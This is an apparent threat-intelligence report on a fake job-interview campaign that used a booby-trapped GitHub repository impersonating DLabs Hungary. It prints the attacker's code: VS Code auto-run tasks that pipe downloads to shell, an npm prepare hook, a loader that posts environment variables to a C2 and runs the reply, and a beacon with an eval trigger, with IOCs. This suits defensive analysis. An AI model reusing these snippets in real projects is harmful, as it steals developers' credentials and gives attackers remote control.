The face was changed, yet the hand was known.

Executive Summary

A threat actor impersonating DLabs Hungary conducted a targeted recruitment campaign against a developer, using a purported CTO/team lead opportunity to deliver a malicious GitHub repository. The legitimate DLabs Hungary company is not assessed to be involved in this activity; the name was used as social-engineering cover by the threat actor. The repository was shared during a live interview call, with access granted long enough for the target to clone it. The repository contained VS Code workspace tasks configured with runOn: folderOpen, meaning the tasks could run when the folder was opened in a trusted workspace and automatic task execution was allowed.

The attack employed two parallel execution paths embedded in the repository: a VS Code workspace task that fetched a remote shell script and a poisoned package.json prepare hook that triggered a Node.js server chain which exfiltrated the victim’s full runtime environment on npm install. Both paths delivered closely related instances of the same obfuscated JavaScript beacon logic. The Path 1 and Path 2 captures have different hashes but share the marker set eval, processInfo, setInterval, sysId, and tid; normalized comparison of the captured material produced a similarity ratio of 0.715430. The beacon contacted a Hetzner-hosted C2 every five seconds, transmitted system metadata and environment variables, and awaited JavaScript tasking for remote code execution via eval().

File-level hash analysis establishes direct artifact links to TP-2026-009 and to three earlier campaigns in this series. The preserved DLabs-themed lure sample reuses the same core Node.js attack chain as TP-2026-009 (Dravion-Core, 2026-04-13), with multiple byte-identical artifacts and the same AUTH_API / new Function execution pattern. Later DLabs-themed continuity material shows small file-level edits to server.js and routes/api/auth.js, so the relationship is better described as core-chain reuse rather than unchanged file identity across every DLabs-themed repository state. The .env.local credential harvesting template matches TP-2026-002, TP-2026-004, and TP-2026-009. The delivery package.json matches TP-2026-001, TP-2026-004, and TP-2026-009. The C2 at 88.99.241[.]111:1224 was confirmed active in TP-2026-009 on 2026-04-03 and remains active at the time of this investigation - thirteen days of continuous operation. The operator has again rotated the lure identity and Vercel delivery domains while retaining the same core malware workflow with minor repository-level edits.

The targeting profile - Web3 developer, senior role, live technical interview, repository as task - is consistent with the Contagious Interview cluster. This report assesses medium confidence for campaign-cluster relatedness with TP-2026-009 and related ThreatProphet cases, and low-to-medium confidence for DPRK-linked attribution. The recurring okada0209 / lovelysong0209+2@gmail.com identity is treated as a local campaign-cluster continuity indicator, not as standalone confirmation of a real-world operator.


Evidence Basis and Scope

This report is based on preserved repository contents, captured payload responses, network observations, and local analysis performed during the investigation. The evidence archive is not distributed with the public report. Public comparison material is therefore limited to observable behaviour, commit and repository identifiers, file hashes, payload hashes, domains, IPs, URL paths, and code-pattern indicators.

Claims are separated into three categories:

Impersonation notice: References to DLabs Hungary in this report describe the actor’s use of that name, associated lure material, and attacker-controlled GitHub organisation names. They should not be read as implying involvement by the legitimate DLabs Hungary company. No evidence reviewed for this report indicates that the legitimate company was involved in the attack.

  • Directly observed: present in the preserved repository, captured payloads, task definitions, commit metadata, or network captures.
  • Cross-campaign continuity: supported by byte-level hash matches, shared code patterns, common C2 infrastructure, and repeated identity artifacts across ThreatProphet reports.
  • External context: supported by public reporting on Contagious Interview and North Korean developer-targeting tradecraft, but not used alone to prove attribution for this specific repository.

Attack Overview

Initial Contact

The target was approached on LinkedIn with a CTO/team lead opportunity by an actor presenting as DLabs Hungary. This is assessed as brand impersonation: no reviewed evidence indicates that the legitimate DLabs Hungary company participated in, authorized, or benefited from the activity. The campaign follows an established playbook: a credible job offer, a Calendly-scheduled interview, and a Figma design prototype shared during the call to establish legitimacy.

The email address used for scheduling was petermolnar813@gmail.com. The GitHub repository invitation was sent from the account @CodeBlock73, granting access to DLabsHungary-Hub2/DLabs-Platform-MVP2. The private repository was framed as an existing platform codebase the candidate would be leading - framing that makes cloning and running the code feel like a natural part of the interview process.

Repository access was revoked immediately after the call. By the time the target would think to revisit the code, the lure was gone.

Enrichment of the preserved Hub3 continuity mirror places the latest observed HEAD at cc8c31969f0e72356f4c45a719f2b95b9a67b262, authored by CodeBlock150 <petermolnar286@gmail.com> on 2026-04-16T04:09:57-04:00, subject Update server.js. This metadata is treated as follow-on continuity evidence rather than proof that every DLabs-themed repository state was byte-identical.

Kill Chain

Both execution paths originate from .vscode/tasks.json and are configured to run on folder open when VS Code automatic tasks are allowed for the trusted workspace.

Path 1 - env task, pipe-to-shell via Vercel

  1. VS Code is configured to run the env task on folder open (runOn: folderOpen) when automatic tasks are allowed. The terminal closes immediately (close: true), reducing visible execution traces.
  2. Task executes an OS-specific pipe-to-shell command against vscode-settings-tasks-j227[.]vercel[.]app/api/settings/linux. The delivery URL is pushed off-screen by raw-line horizontal whitespace padding; the preserved task file shows leading_ws=233 on the platform-specific command lines.
  3. Stage 2 loader prints Authenticated (misdirection), downloads Stage 3 bootstrap via nohup.
  4. Stage 3 (bootstraplinux) installs portable Node.js if absent, fingerprints the victim workspace, downloads env-setup.js and package.json to ~/.vscode/, runs npm install, executes Stage 5 beacon.

Path 2 - install-root-modules task, npm prepare hook

  1. VS Code is configured to run install-root-modules in parallel with Path 1 when automatic tasks are allowed.
  2. Silent npm install --silent --no-progress triggers prepare hook: node server/server.js.
  3. server.js calls loadEnv(), merging .env and .env.local into process.env. AUTH_API - a base64-encoded Vercel C2 URL - is now in process.env.
  4. server.js calls configureRoutes(app). routes/index.js executes require('./api/auth'), loading routes/api/auth.js at module load - before any HTTP request or visible output.
  5. validateApiKey() fires at module load, POSTing full process.env to the Vercel IP-check gate with x-app-request: ip-check campaign fingerprint.
  6. C2 response body executed via new Function("require", response.data)(require) - Stage 5 beacon delivered in-memory with full Node.js module access.

Path 2 remains functional as a standalone fallback outside VS Code. npm install triggers the prepare hook, while the defined start, build, test, and eject scripts route through node server/server.js. Other npm commands are not established triggers unless they invoke the lifecycle hook or one of these scripts.


Technical Analysis

.vscode/tasks.json - Dual Auto-Execution Origin

SHA256: a476338fefba0aea173d135851cef7d2efd96be87dc7abfb5880aaa03a3894ef

Both tasks share runOptions.runOn: "folderOpen" and suppressed presentation options (reveal: silent, echo: false, panel: new). They fire in parallel on the same folder open event.

Task 1: env - Path 1 pipe-to-shell delivery

{
  "label": "env",
  "linux":   { "command": "wget -qO- 'hxxps://vscode-settings-tasks-j227[.]vercel[.]app/api/settings/linux' | sh" },
  "osx":     { "command": "curl -L 'hxxps://vscode-settings-tasks-j227[.]vercel[.]app/api/settings/mac' | bash" },
  "windows": { "command": "curl --ssl-no-revoke -L hxxps://vscode-settings-tasks-j227[.]vercel[.]app/api/settings/windows | cmd" },
  "runOptions": { "runOn": "folderOpen" },
  "presentation": { "reveal": "silent", "echo": false, "close": true }
}

The raw task file uses horizontal whitespace padding around the platform-specific command entries, pushing the delivery URL off-screen during casual inspection in a typical editor viewport. Parsed command values do not contain leading whitespace; the concealment exists in the raw JSON line layout, where the platform-specific command lines show leading_ws=233. The close: true option causes the terminal to close immediately, leaving no visible trace of execution. The task label "env" and URL path structure (/api/settings/{mac,linux,windows,bootstraplinux,env,package}) are consistent across all prior campaigns - infrastructure rotated, routes did not.

Task 2: install-root-modules - Path 2 auto-trigger

{
  "label": "install-root-modules",
  "type": "shell",
  "command": "npm install --silent --no-progress",
  "runOptions": { "runOn": "folderOpen" },
  "presentation": { "reveal": "silent", "echo": false }
}

Unlike the env task, this does not set close: true - on an instrumented machine, the silent terminal panel remains present as an observable artifact.

package.json - Path 2 Entry Points

SHA256: 2f65e39dcbcb028da4bf4da43f3a1db7e5f9fff2dfd57ad1a5abd85d7950f365 (matches TP-2026-001 Softstack-Platform-MVP2, TP-2026-009)

"scripts": {
  "prepare": "node server/server.js",
  "start":   "node server/server.js | react-scripts --openssl-legacy-provider start",
  "build":   "node server/server.js | react-scripts --openssl-legacy-provider build",
  "test":    "node server/server.js | react-scripts --openssl-legacy-provider test",
  "eject":   "node server/server.js | react-scripts --openssl-legacy-provider eject"
}

Five independent npm entry points all route through node server/server.js. The common developer workflows represented by these scripts trigger Path 2 independently of VS Code.

server/server.js - Clean Launcher

SHA256: d58e3155d69536c3fa42382e7fa7ab7d3c984ebaa46cb7e3342cc7640eff4e17

A legitimate Express application. It executes two key operations at startup: require("./config/loadEnv")() and configureRoutes(app). The malware piggybacks on the legitimate application startup sequence. server.js itself contains no malicious logic, providing plausible deniability during casual code review.

server/config/loadEnv.js - Environment Merger

SHA256: c08356a5a4ebbd8804c9acbe2e0c1b986d867b057d2e827ae663e4aec2204ed2 (matches TP-2026-009)

function loadEnv() {
    dotenv.config();                      
    dotenv.config({ path: ".env.local" });
}

Merges both environment files into process.env before any route executes. Naming is visually indistinguishable from standard dotenv initialisation. Two files serve distinct roles:

  • .env (SHA256: dfb133f6...) contains AUTH_API, a base64-encoded Vercel C2 URL concealed among legitimate backend configuration variables. atob() decodes it only at runtime.
  • .env.local (SHA256: 37eb8e11...) is the shared credential harvesting template, byte-for-byte identical across TP-2026-002, TP-2026-004, and TP-2026-009. It seeds process.env with credential variable names across Web3, crypto, AWS, and SaaS stacks.

server/routes/index.js - Route Registration

SHA256: a9d8ea7c9a396d5c1f04d998f4f3e944c67ec4c88524a05c613bcb1ca0a7eacf (matches TP-2026-009)

const configureRoutes = (app) => {
  app.use('/api/auth', require('./api/auth'));
  app.use('/api/users', require('./api/users'));
  app.use('/api/chips', require('./api/chips'));
  app.use('/', (req, res) => { res.status(200).send('GGLab API Documents'); });
};

routes/index.js is itself clean. Its role in the attack chain is that require('./api/auth') causes Node.js to evaluate server/routes/api/auth.js at module load - before any HTTP request arrives, before any route handler is invoked, and before any output is visible to the victim.

server/routes/api/auth.js - Primary Malware File

SHA256: 7699a8e8bd7275df2791237cbb355d4e4c90a485e181ae437b17f68ea43b01ba

validateApiKey() is called at module load - not inside a route handler:

const { getCurrentUser, login, setApiKey, verify } = require('../../controllers/auth');

const verified = validateApiKey(); // fires at require() time, before any HTTP request

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);
      return true;
    })
    .catch((err) => {
      return false;
    });
}

validateApiKey() executes the full attack sequence: decodes the base64 C2 URL, POSTs the full process.env, and executes the response via new Function(). The surrounding strings frame the action as API validation and mempool-scan gating, but the effective behavior is C2-supplied JavaScript execution with require injected. The new Function("require", response.data)(require) delivery primitive is consistent across TP-2026-001, TP-2026-002, TP-2026-004, and TP-2026-009.

server/controllers/auth.js - Utility Exports

SHA256: cc9e443872d99b07e4bf5f6baa6144fbe0fd24bc610e58340d9b8c755df17fce (matches TP-2026-009)

const setApiKey = (s) => atob(s);  // base64 decode AUTH_API at runtime

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }  // campaign fingerprint header
  });

verify spreads the entire process.env object as the request body. The x-app-request: ip-check campaign fingerprint header is present across TP-2026-001, TP-2026-004, TP-2026-009, and TP-2026-010.

The login() function contains const isMatch = true hardcoded - all password verification is bypassed. The authentication logic is entirely decorative, providing plausible cover during code review.

Stage 1b: Vercel IP-Check Gate (ip-checking-notification-j2[.]vercel[.]app)

The AUTH_API value decodes to hxxps://ip-checking-notification-j2[.]vercel[.]app/api. This endpoint acts as an IP/VPN probe gate before delivering the payload. A request with an empty body returns:

{
  "status": "OK",
  "message": "Public API response",
  "client": {
    "ipAddress": "...",
    "vpnDetected": false,
    "note": "Connection appears normal. For best performance, avoid VPNs or anonymized routes."
  }
}

The note advising against VPNs is deliberate social engineering - the operator wants the victim’s real IP before delivering Stage 5. When the POST body includes a populated process.env, the endpoint returns the obfuscated Stage 5 beacon for execution via new Function().

Stage 3: Persistence Installer (bootstraplinux)

bootstraplinux is an installer and persistence script. In sequence:

  1. Ensures Node.js is available - downloads portable v20 from nodejs.org to ~/.vscode/ if absent, broadening the victim pool to machines without an existing Node environment.
  2. Writes the VS Code workspace folder name to ~/.vscode/<foldername>.txt - a victim source-tracking artifact that identifies which lure repository triggered the compromise.
  3. Downloads env-setup.js and package.json to ~/.vscode/, runs npm install (axios, request), executes env-setup.js as Stage 5.

All artifacts land in ~/.vscode/ - present on any VS Code user’s machine and not commonly monitored as a persistence location. The package.json start script references node env.npl; the .npl extension is non-standard, evading file-type based detections.

Stage 5: Obfuscated Node.js Beacon (env-setup.js / env.npl)

SHA256 (env-setup.js / Path 1): 589d2ab871a7e52caf1f3370a5bd8eae69575e8914fb61a59901661577be4359 SHA256 (in-memory / Path 2): ee9f19e514b55490e942fdb54d38a3b7f7364427a3b5e0ab45bf3c3df8cc752f

The payloads delivered by the two paths are best treated as closely related delivery variants of the same beacon logic, not byte-identical samples. The Path 2 body (ee9f19e5...) and Path 1 body (589d2ab8...) both contain eval, processInfo, setInterval, sysId, and tid; normalized comparison of the captured material produced a ratio of 0.715430, consistent with shared logic plus wrapper, formatting, or serialization differences. The payload uses array-based string obfuscation with a custom base64 decoder, double encoding on core strings, and active anti-debug countermeasures: two regex-based checks detect debugger attachment and function serialisation inspection; on trigger, the payload enters while(true){} preventing analysis without process termination.

Host profiling (sent in every beacon):

hostname: os.hostname()
macs:     networkInterfaces filtered for non-loopback MACs
          (family=IPv4, internal=false, mac00:00:00:00:00:00)
os:       os.type() + os.release() + '(' + os.platform() + ')'

MAC filtering explicitly removes the loopback address, ensuring only real physical interfaces are reported for persistent victim identification across sessions.

Beacon (every 5 seconds via setInterval(..., 0x1388)):

GET hxxp://88.99.241[.]111:1224/api/checkStatus
  ?sysInfo=JSON.stringify(hostProfile)
  &processInfo=JSON.stringify(process.env)
  &tid=bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=
  &sysId=<victim_id>

The tid parameter decodes to "now it time to get everything" - identical to TP-2026-009. sysId starts at 0 and is replaced with a C2-assigned persistent identifier after first contact, enabling per-victim tracking across sessions.

RCE activation: if ("error" === response.status) { eval(response.message) }. The activation keyword is "error" - not "ok" or "success". This is deliberate evasion: the same string constant 0x181 is used for console.error() throughout the payload, making the eval branch appear to be an error handler to static analysis tools and human reviewers alike. At time of capture the C2 returned {"status":"ok","message":"server connected"} - lowercase "ok" does not match "error", confirming standby mode. The operator activates victims by sending {"status":"error","message":"<arbitrary JS>","sysId":"<victim_id>"}.

The C2 server identifies itself as Express (X-Powered-By: Express) and communicates over plain HTTP - all beacon traffic, including full environment variable dumps, is transmitted in cleartext.


Environment Collection and Exposure

Two independent mechanisms capture the victim’s runtime environment:

  1. routes/api/auth.js validateApiKey() - POSTs {...process.env} to the Vercel IP-check gate at module load, before any output is visible.
  2. Stage 5 beacon - transmits processInfo=JSON.stringify(process.env) alongside host profile to 88.99.241[.]111:1224 every 5 seconds.

The dummy placeholder values in the committed .env and .env.local files are largely irrelevant to the actual yield. A developer evaluating the repository is unlikely to replace demo API keys. The real value of {...process.env} is the victim’s live shell session environment: AWS CLI credentials, tokens set by other active tools, credentials exported by shell profiles, and any other variables already present. The .env template defines the operator’s target credential profile; the actual yield depends entirely on what the victim’s environment contains.

Beyond the initial dump, Stage 5 executes arbitrary code returned by the C2 via eval() - giving the operator full Node.js access to the victim machine for any targeted follow-on collection not captured in the initial sweep.


The preserved DLabs-themed material shows strong reuse of the TP-2026-009 core attack chain, but the enriched Hub3 working tree should not be described as an unchanged full-file clone. Several artifacts remain byte-identical to TP-2026-009 and earlier cases, while server/routes/api/auth.js and server/server.js differ by hash after later DLabs-themed edits. The stronger analytical claim is therefore core-chain continuity with selected byte-level matches, not total file identity across every repository state.

ArtifactSHA256Also confirmed in
.env.local37eb8e11...b27eadTP-2026-002, TP-2026-004, TP-2026-009 - shared credential template across four campaigns
package.json (lure root)2f65e39d...0f365TP-2026-001 (Softstack-Platform-MVP2), TP-2026-009
package.json (delivery)6effad9f...ccb3TP-2026-001, TP-2026-004, TP-2026-009 - reused across every domain rotation
server/routes/index.jsa9d8ea7c...264bTP-2026-009
server/routes/api/auth.js7699a8e8...01baSame AUTH_APInew Function("require", response.data) execution pattern; later DLabs variant differs by hash
server/controllers/auth.jscc9e4438...7fceTP-2026-009
server/server.jsd58e3155...4e17Same launcher role; later DLabs variant differs by hash
server/config/loadEnv.jsc08356a5...4ed2TP-2026-009

Shared infrastructure and campaign indicators across the series:

IndicatorCampaigns
88.99.241[.]111:1224TP-2026-009 (confirmed 2026-04-03), TP-2026-010 (confirmed 2026-04-16) - 13+ days continuous
x-app-request: ip-checkTP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010
"now it time to get everything" (campaign tag)TP-2026-009, TP-2026-010
/api/settings/{linux,mac,windows,bootstraplinux,env,package}TP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010 - routes unchanged across all domain rotations
new Function("require", response.data)(require)TP-2026-001, TP-2026-002, TP-2026-004, TP-2026-009, TP-2026-010
AUTH_API base64 URL in .envTP-2026-004, TP-2026-009, TP-2026-010

Hub3 / Hub4 Repository Continuity in the Impersonation Cluster

Follow-on repository review identified subsequent churn in the attacker-controlled DLabsHungary naming pattern. The enriched repository mirror for DLabsHungary-Hub3/DLabs-Platform-MVP resolves to HEAD commit cc8c31969f0e72356f4c45a719f2b95b9a67b262, authored by CodeBlock150 <petermolnar286@gmail.com> on 2026-04-16T04:09:57-04:00, subject Update server.js. The immediately preceding execution-artifact update was 6bce211f8aa66bfa041f77ad3a43f83cc208cb19, also authored by CodeBlock150 <petermolnar286@gmail.com>, subject Update auth.js.

The preserved Hub3 history contains three commit-linked identity layers: Ivan <167746537+DeAngDai354@users.noreply.github.com> with 1 commit, okada0209 <lovelysong0209+2@gmail.com> with 40 commits, and CodeBlock150 <petermolnar286@gmail.com> with 30 commits. This supports the same layered identity model observed in TP-2026-009: an initial commit identity, a recurrent development identity, and a later maintenance or weaponisation identity.

A currently public attacker-controlled follow-on repository, DLabsHungary-Hub4/-DLabs-Platform-MVP2, preserves the same broad project layout (.vscode, server, .env, .env.local, package.json) and continues the same attacker-controlled naming scheme. Hub4 should be treated as repository relocation or lure-identity maintenance unless separate code, infrastructure, or behavioral differences are identified.


MITRE ATT&CK Mapping

Technique IDNameTacticNotes
T1566.003Spearphishing via ServiceInitial AccessLinkedIn recruitment lure; Calendly scheduling
T1204.002User Execution: Malicious FileExecutionRepository opened in VS Code with automatic tasks allowed; malicious workspace tasks configured for folderOpen
T1059.007JavaScriptExecutionnew Function() delivery; obfuscated Stage 5 beacon; eval() RCE
T1059.004Unix ShellExecutionStage 2 and Stage 3 shell scripts piped directly to sh
T1020Automated ExfiltrationExfiltrationFull process.env dump sent every 5 seconds
T1119Automated CollectionCollection{...process.env} sweep captures entire runtime environment in one operation
T1552.001Credentials in FilesCredential Access.env and .env.local loaded into process.env before exfil
T1027Obfuscated Files or InformationDefense EvasionArray-based string obfuscation; custom base64 decoder; anti-debug traps
T1140Deobfuscate/Decode Files or InformationDefense Evasionatob(process.env.AUTH_API) decodes Vercel URL; Buffer decode reveals Hetzner C2 URL within payload
T1036.008Masquerade File TypeDefense Evasion.npl extension on persistent JS implant
T1036.005Match Legitimate Name or LocationDefense EvasionloadEnv.js naming; AUTH_API key; install-root-modules label; ~/.vscode/ persistence dir
T1071.001Web ProtocolsC2Plain HTTP beacon to 88.99.241[.]111:1224 every 5s
T1041Exfiltration Over C2 ChannelExfiltrationprocess.env transmitted via both Vercel POST and Hetzner GET beacon
T1033System Owner/User DiscoveryDiscoveryHostname collected and transmitted in every beacon
T1016System Network Configuration DiscoveryDiscoveryNon-loopback MAC addresses enumerated for persistent victim identification
T1082System Information DiscoveryDiscoveryOS type, release, and platform collected in host profile

Infrastructure Analysis

Network Infrastructure

IndicatorTypeNotes
88.99.241[.]111IPv4C2 server, TCP/1224, plain HTTP; also in TP-2026-009
static.111.241.99.88.clients.your-server.dePTRHetzner reverse DNS - no custom PTR configured
vscode-settings-tasks-j227[.]vercel[.]appDomainStage 1/3/4/5 payload delivery
ip-checking-notification-j2[.]vercel[.]appDomainStage 1b IP-check gate and env exfil
64.29.17.131, 216.198.79.131IPv4Vercel edge - vscode-settings-tasks domain
64.29.17.3, 216.198.79.3IPv4Vercel edge - ip-checking-notification domain

C2 hosting: Hetzner Online GmbH, Datacenter fsn1-dc1 (Falkenstein, Germany), ASN AS24940. The C2 has been confirmed active across a 13-day window spanning two separate investigations.

C2 server fingerprint:

1224/tcp  open  http  Node.js Express framework      ← beacon endpoint
5985/tcp  open  http  Microsoft HTTPAPI httpd 2.0    ← WinRM (operator admin channel)
5357/tcp  open  http  Microsoft HTTPAPI httpd 2.0    ← WSDAPI (Windows Network Discovery)
OS: Windows (cpe:/o:microsoft:windows)

The server runs Windows - unusual for a Hetzner VPS where Linux predominates, and a distinctive fingerprint for infrastructure pivoting. Port 5985 is WinRM over plain HTTP, the operator’s likely administration channel. Port 5357 (WSDAPI) is a local network discovery service with no legitimate external exposure - consistent with a default Windows firewall configuration and minimal server hardening.

Infrastructure architecture: The operator separates concerns across two layers. A Vercel front-end (trusted domain, HTTPS, TLSv1.3) handles payload staging and initial credential collection; a raw-IP Hetzner C2 (plain HTTP, non-standard port 1224) handles beacon traffic and RCE delivery. This split makes the initial compromise difficult to detect via network monitoring - Vercel traffic blends with normal developer tooling. The Vercel domains rotate between campaigns; the Hetzner C2 does not.


Indicators of Compromise

All indicators assessed High confidence unless noted.

Network Indicators

IndicatorTypeConfidence
88.99.241[.]111IPv4 (C2)High
88.99.241[.]111:1224IP:Port (beacon)High
hxxp://88.99.241[.]111:1224/api/checkStatusURLHigh
vscode-settings-tasks-j227[.]vercel[.]appDomainHigh
ip-checking-notification-j2[.]vercel[.]appDomainHigh
x-app-request: ip-checkHTTP header (campaign fingerprint)High
tid=bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=URI parameterHigh
/api/checkStatusC2 URI pathHigh

File and Payload Hashes

Hashes are retained for independent comparison with repository mirrors, captured Vercel responses, and recovered payloads. They are not intended to imply that the private evidence archive is distributed with this report.

SHA256FilenameNotes
a476338fefba0aea173d135851cef7d2efd96be87dc7abfb5880aaa03a3894ef.vscode/tasks.jsonDual folderOpen tasks; raw-line whitespace URL obfuscation (leading_ws=233)
2f65e39dcbcb028da4bf4da43f3a1db7e5f9fff2dfd57ad1a5abd85d7950f365package.jsonprepare hook trigger; matches TP-2026-001, TP-2026-009
d58e3155d69536c3fa42382e7fa7ab7d3c984ebaa46cb7e3342cc7640eff4e17server/server.jsClean launcher role; later DLabs variant differs from TP-2026-009 by hash
c08356a5a4ebbd8804c9acbe2e0c1b986d867b057d2e827ae663e4aec2204ed2server/config/loadEnv.jsEnv merger; matches TP-2026-009
a9d8ea7c9a396d5c1f04d998f4f3e944c67ec4c88524a05c613bcb1ca0a7eacfserver/routes/index.jsrequire(’./api/auth’) triggers malicious load; matches TP-2026-009
7699a8e8bd7275df2791237cbb355d4e4c90a485e181ae437b17f68ea43b01baserver/routes/api/auth.jsvalidateApiKey() RCE at require-time; later DLabs variant differs from TP-2026-009 by hash
cc9e443872d99b07e4bf5f6baa6144fbe0fd24bc610e58340d9b8c755df17fceserver/controllers/auth.jssetApiKey + verify exfil; matches TP-2026-009
dfb133f61f61a878cffd0289c7d4a020cdf3bd65d2ec3692ad20799014278772.envAUTH_API base64 C2 URL + credential categories
37eb8e11b40527de0881189064c657fe1623d6b2c8ad16fc8136782e89367ead.env.localShared credential template; matches TP-2026-002, TP-2026-004, TP-2026-009
ee9f19e514b55490e942fdb54d38a3b7f7364427a3b5e0ab45bf3c3df8cc752fStage 5 beacon (Path 2, in-memory)Obfuscated JS
589d2ab871a7e52caf1f3370a5bd8eae69575e8914fb61a59901661577be4359env-setup.js / Stage 5 (Path 1, on-disk)Obfuscated JS - same beacon logic as Path 2; separate hash retained
26d88760f0c8c42b3c3b44aad01d10ef68d6476dd2bb7b6a8db1fada06b87a0fvscode-bootstrap.sh (Stage 3)Persistence installer
6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3package.json (delivery, /api/settings/package)Implant deps; matches TP-2026-001, TP-2026-004, TP-2026-009
10c7218ef3de3c2d71f67b3b79e6087fced7b62fad90eb28e2b86ece9ef75c8aStage 1b auth API full captureHTTP capture containing Path 2 payload response markers
572bca337e68bebd23ba0b428f33685874413fff466471b91151bfc37966ac67Stage 3a env setup full captureHTTP capture containing Path 1 payload response markers
07640ce2ced6f06154c4ea73c77f1258e60a280bd2736663eaf4fe07c6dcee8fC2 checkStatus full capturePlain HTTP C2 response capture
f862d253a6ac2c18da610ce1ff802b8ab8b9732186f6266f732d2373039a5551C2 checkStatus bodyJSON body from standby C2 response

Repository and Identity Indicators

IndicatorTypeNotes
github[.]com/DLabsHungary-Hub2/DLabs-Platform-MVP2GitHub repoAttacker-controlled lure repository using the impersonated brand string; access revoked post-call
DLabsHungary-Hub2GitHub orgAttacker-controlled lure organisation name using the impersonated brand string; sequential with Hub3
@CodeBlock73GitHub accountSent repository collaboration invite
petermolnar813@gmail.comEmailUsed for Calendly scheduling
hxxps://www[.]figma[.]com/design/EIba2k23wq0irUWBDqlKDu/Web3-PlatformFigmaLegitimacy lure shared during call
github[.]com/DLabsHungary-Hub3/DLabs-Platform-MVPGitHub repoAttacker-controlled follow-on lure repository; auth.js and server.js updated 2026-04-16T08:09 UTC
DLabsHungary-Hub3GitHub orgAttacker-controlled follow-on organisation name; sequential: Hub2 → Hub3
CodeBlock150GitHub accountHub3 weaponisation persona - sequential: CodeBlock73 (Hub2) → CodeBlock150 (Hub3) → CodeBlock150 (Hub4)
petermolnar286@gmail.comEmailHub3 operator email - sequential: petermolnar813 (Hub2) → petermolnar286 (Hub3) → petermolnar286 (Hub4)
okada0209GitHub accountDevelopment persona - shared across TP-2026-009, TP-2026-010, Hub3 unchanged
lovelysong0209+2@gmail.comEmailDevelopment persona email - shared across TP-2026-009, TP-2026-010, Hub3, Hub4
167746537+DeAngDai354@users.noreply.github.comEmailInitial commit identity - shared with TP-2026-009 (Dravion-Core) and Hub3/4
github[.]com/DLabsHungary-Hub4/-DLabs-Platform-MVP2GitHub repoPublic attacker-controlled follow-on repository observed after the earlier Hub3 location became unavailable; supports continuity assessment rather than a distinct new campaign
DLabsHungary-Hub4GitHub orgAttacker-controlled follow-on organisation name in the observed impersonation chain

Code Pattern Indicators

PatternNotes
Two runOn: folderOpen tasks in .vscode/tasks.jsonDual auto-execution on folder open; fire in parallel
env task with close: trueTerminal closes immediately - no visible trace of Path 1
Raw-line whitespace padding before platform command entries in tasks.jsonURL pushed off-screen in raw file layout; extracted command value itself has no leading whitespace
"prepare": "node server/server.js"npm lifecycle hook; triggers on npm install through prepare, and through the defined npm scripts
validateApiKey() called at module load in routes/api/auth.jsFires before any HTTP request or visible output
const setApiKey = (s) => atob(s)Base64 C2 URL decode - consistent across TP-2026-004, TP-2026-009, TP-2026-010
axios.post(api, { ...process.env }, { headers: { "x-app-request": "ip-check" } })Full env exfil with campaign fingerprint
new Function("require", response.data)(require)C2 response with full Node.js module access - consistent across TP-2026-001, TP-2026-002, TP-2026-004, TP-2026-009, TP-2026-010
if ("error" === status) { eval(message) }RCE trigger - "error" masquerades as error handler; same constant used for console.error() throughout payload
sysId session handle assigned by C2Durable per-victim tracking across reconnects
*.npl executed by nodeNon-standard extension evading file-type detection
Beacon interval 5000ms (0x1388)Every 5s - consistent across TP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010

Persistence Artifacts on Victim Machine

PathDescription
~/.vscode/vscode-bootstrap.shStage 3 installer (written by Stage 2)
~/.vscode/env-setup.jsStage 5 persistent beacon (written by bootstraplinux)
~/.vscode/package.jsonImplant dependencies manifest
~/.vscode/node_modules/axios + request
~/.vscode/<repo-name>.txtVictim source-tracking file
~/.vscode/env.nplJS beacon with disguised extension
~/.vscode/node-<ver>-linux-x64/Portable Node.js binary if not globally installed

Attribution Assessment

Assessed confidence: Medium for campaign-cluster relatedness; low-to-medium for DPRK-linked attribution

This report links directly to TP-2026-009 through shared C2 infrastructure, repeated AUTH_API / x-app-request: ip-check / new Function execution patterns, and multiple byte-level file matches. The enriched Hub3 material also shows later edits to server.js and routes/api/auth.js, so the evidence supports core-chain continuity rather than unchanged file identity across all repository states. TP-2026-009 itself linked to TP-2026-001, TP-2026-002, and TP-2026-004 via file-level artifact continuity. The cross-campaign chain now spans five reports across approximately eight weeks, with the same C2 server continuously active.

Additional repository continuity has been observed within the DLabs-themed impersonation cluster. The earlier DLabsHungary-Hub3/DLabs-Platform-MVP repository referenced during the initial investigation is no longer publicly accessible, while a public successor repository, DLabsHungary-Hub4/-DLabs-Platform-MVP2, is currently visible. The public Hub4 commit history still shows CodeBlock150 performing the latest visible auth.js and server.js updates on 2026-04-16, and the repository preserves the same broad project structure observed in the lure used in this case. On the basis of archived evidence preserved during collection, no substantive new code-level change was identified beyond organisation and repository renaming. This is therefore assessed as continuity in operator infrastructure and persona use, not as a separate malware family or clearly distinct campaign phase.

The recurring okada0209 / lovelysong0209+2@gmail.com identity is a strong local campaign-cluster continuity indicator because it appears across multiple related repositories and overlaps with late-stage weaponisation history. It should not, by itself, be treated as confirmed real-world attribution. Public GitLab reporting supports the broader North Korean Contagious Interview context and describes recurring patterns that align with this case, including malicious JavaScript repositories, Vercel-hosted remote payloads, VS Code task execution, base64-encoded staging URLs in .env files, and Function.constructor-style execution. The exact lovelysong0209+2@gmail.com variant should therefore remain an internal tracking indicator unless independently corroborated by external reporting.

Observed identity pattern across repositories:

ObservationOrgLure-facing GitHub accountLure / contact emailInitial commit-linked identityRecurrent commit-linked identityLate-stage commit-linked / maintenance identity
TP-2026-001SoftstackLuckyKat1001brajan.intro@gmail.com--LuckyKat1001
TP-2026-009Intraverse-Dev-Tech-Hub-brajanjake@gmail.comIvan / 167746537+DeAngDai354@users.noreply.github.comokada0209 / lovelysong0209+2@gmail.comIntraverse-Dev-Tech-Hub / thomas.cryptolover@gmail.com
TP-2026-010 / Hub2DLabsHungary-Hub2CodeBlock73petermolnar813@gmail.comIvan / 167746537+DeAngDai354@users.noreply.github.comokada0209 / lovelysong0209+2@gmail.comCodeBlock73
